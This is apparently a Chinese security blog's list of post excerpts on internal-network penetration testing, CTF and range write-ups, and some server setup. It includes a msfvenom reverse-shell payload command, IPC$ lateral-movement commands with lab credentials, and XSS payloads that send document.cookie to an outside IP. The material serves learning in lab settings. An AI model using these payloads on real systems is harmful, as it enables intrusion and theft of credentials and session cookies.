内网安全-存活探测
1.windows下pingfor /L %I in (1,1,255) do @ping -w 1 -n 1 10.0.0.%I | find /i "ttl="
2.Linux下pingfor i in 192.168.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
3.Nbtscanhttps://github.com/charlesroelli/nbtscan
http://www.unixwiz.net/tools/nbtscan.html#download
基于netbios协议探测主机
Nbtscan.exe 10.10.10.1/24
4.ptscanhttps://github.com/phantom0301/PTscan
pyinstaller -F -w ptscan.pypython PTscan.py -h 10.10.10 -p 80,8080,8888 -m 50 -t 10 -n ...
内网安全-代理隧道
代理隧道1.netsh端口转发
netsh interface portproxy add v4tov4 listenport=本地bind端口 connectaddress=目标服务器(IP) connectport=目标的端口
netsh interface portproxy add v4tov4 listenport=4444 connectaddress=10.10.10.10 connectport=80
查看规则
netsh interface portproxy show all
删除规则
netsh interface portproxy delete v4tov4 listenport=7777
删除所有规则
netsh interface portproxy reset
msf反弹shell
填写能够直接跟我们交互的域内机器ipmsfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.80 lport=4455 -f exe > r.exe端口转发netsh i ...
phpstudy模块安装问题
background安装nextcloud网盘 需要php8.2以上的环境 还需要各种扩展
在phpstudy里面勾选了扩展没有生效
参考
https://blog.csdn.net/the3z/article/details/137798911
就是在C:\php\ext下去读扩展了 直接把文件拷到c盘下就行了
当然最好的方法是改配置文件 php.ini里增加扩展路径即可
extension_dir ="C:\soft\phpstudy_pro\Extensions\php\php8.2.9nts\ext"
2024网安湘军杯
background报着玩的比赛 没想到结果还行 还是比较白的
靶场是提交漏洞的 按点位算的 实网攻防就是hw 这里记录下靶场的漏洞 蛮基础的东西 比赛也不禁网 想到啥问题直接搜就行了
目录遍历扫出来就是这个 东西都能看 但是没啥用
任意文件下载重点看mdownload.php.bak 很明显的任意文件读取
<?phpfunction MuDownloadFile($baseDir, $fileName) { // 组合文件路径 $filePath = realpath($baseDir . '/' . $fileName); // 检查文件是否在指定目录下,防止目录遍历 /*if (strpos($filePath, realpath($baseDir)) !== 0) { die("非法文件路径!"); }*/ // 检查文件是否存在 if (!file_exists($filePath)) { die(" ...
内网安全攻防
内网远程连接本来打算写在一起 后面发现太乱了 所以还是分开写了
参考:
https://blog.gm7.org/
https://xz.aliyun.com/t/13697
https://blog.csdn.net/weixin_45910629/article/details/137595994
ipc条件:
开了139 445端口
开启了默认共享
#可以图形化界面输入\\10.10.10.10然后输入账号密码打开,也可以使用命令net use \\192.168.30.151\ipc$ /u:de1ay\administrator !QAZ2wsxnet use \\192.168.30.151\ipc$ /u:administrator !QAZ2wsx
dir查看路径
dir \\192.168.30.151\c$\360safe
tasklist 有点慢 要等一段时间
tasklist /S 192.168.30.151 /U de1ay\administrator /P !QAZ2wsx
计划任务上线at在Windows08之前的版本上
#建立连接后查看时间 ...
小迪(一)
background红日的靶场看官方给的wp 基本就是梭哈 原理也不明白 工具其他的使用方式也不清楚 就想着去看看课吧 看小迪的
https://www.bilibili.com/video/BV123yAYMEwb
131大概看了 没啥东西 就是些基础的权限之类的介绍 就不做记录了
132好像也差不多
133
windows提权土豆家族
补丁查询 把systeminfo的内容放到txt里 然后python跑 重点看impact显示elevation of privilege(权限提升)
https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w
https://github.com/bitsadmin/wesng
windows下数据库提权
awd展示平台
background就是有炫酷的大屏 给领导看的 一直搭建在vps上 但是这东西要传承 直接做虚拟机系统吧
环境准备centos7的系统
备份源
cp -rp /etc/yum.repos.d/ /etc/yum.repos.d_back
下载
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.cloud.tencent.com/repo/centos7_base.repowget -O /etc/yum.repos.d/epel.repo http://mirrors.cloud.tencent.com/repo/epel-7.repo
更新
yum clean allyum makecache
关闭防火墙
systemctl stop firewalldsystemctl disable firewalld
设置自动同步时间
yum -y install ntp ntpdateln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtimentpdat ...
红日靶场2
background看了官网放的红日一解 感觉之前自己做的太浅了 网上很多文章也是很浅 参考https://mp.weixin.qq.com/s/A3MIuT7RXTIIPNLjF42OTg
记录下一些内网常用的命令
ipconfig /all # 查看本机ip,所在域route print # 打印路由信息net view # 查看局域网内其他主机名arp -a # 查看arp缓存net start # 查看开启了哪些服务net share # 查看开启了哪些共享net share ipc$ # 开启ipc共享net share c$ # 开启c盘共享net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享dir \\192.168.xx.xx\c$ ...
S8强网杯的一些小记
background打的稀烂 记录一下我能理解的题 都是些没啥难度的
Givemesecret不回答就一直刷新重新问
xiaohuanxiong/admin/admins即可未授权访问
源码地址
https://gitee.com/haoyuanma/xiaohuanxiong
https://github.com/carrot-dog/xiaohuanxiong/
我用了这两个源码都不存在未授权访问的问题
漏洞版本https://github.com/forkable/xiaohuanxiong/
搭建参考 我用的宝塔搭建的https://blog.csdn.net/weixin_31040629/article/details/116220194
php7.2 写了伪静态规则 安了redis和php的redis扩展 访问install即可安装
有文章说这里未授权访问的问题是变量重写了 我试着删掉其中一处变量 也还是存在洞 可能是我方法的问题吧 搞不明白这个未授权访问哪来的
至于getshell这里没啥讲的 很基础
snake结束游戏后会显示用户名
&#x ...
ctfshow-xss
刷一下ctfshow的xss
xss-lab就是个热身 自己x自己
https://xz.aliyun.com/t/4067
payload
<script>var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;</script><script>window.open('http://118.31.168.198:39543/'+document.cookie)</script><script>location.href='http://118.31.168.198:39543/'+document.cookie</script><script>window.location.href='http://118.31.168.198:39543/'+document.cook ...